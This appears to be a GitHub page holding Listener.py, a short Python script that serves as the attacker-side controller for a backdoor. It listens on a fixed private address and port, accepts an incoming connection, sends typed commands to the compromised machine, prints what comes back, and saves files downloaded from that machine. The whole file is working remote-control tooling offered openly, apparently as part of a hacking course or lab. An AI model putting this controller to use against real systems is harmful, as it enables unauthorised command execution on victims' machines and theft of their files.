-
Notifications
You must be signed in to change notification settings - Fork 1
/
Listener.py
58 lines (48 loc) · 1.94 KB
/
Listener.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#!/usr/bin/python
import socket
import json
import base64
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connections")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data.encode())
def reliable_receive(self):
json_data = ""
while True:
try:
json_data += self.connection.recv(1024).decode()
return json.loads(json_data)
except ValueError:
continue
def execute_remotely(self, command):
self.reliable_send(command)
if command[0] == "exit":
self.connection.close()
exit()
return self.reliable_receive()
def write_file(self, path, content):
with open(path, "wb") as file:
file.write(base64.b64decode(content.encode()))
return "[+] Download successful."
def run(self):
while True:
command = input(">> ")
command = command.split(" ")
try:
result = self.execute_remotely(command)
print(result) # Print the result received from the backdoor
if command[0] == "download" and "[-] Error " not in result:
result = self.write_file(command[1], result)
except Exception:
result = "[-] Error during command execution."
print(result) # Print the final result after processing
my_listener = Listener("192.168.131.128", 1234)
my_listener.run()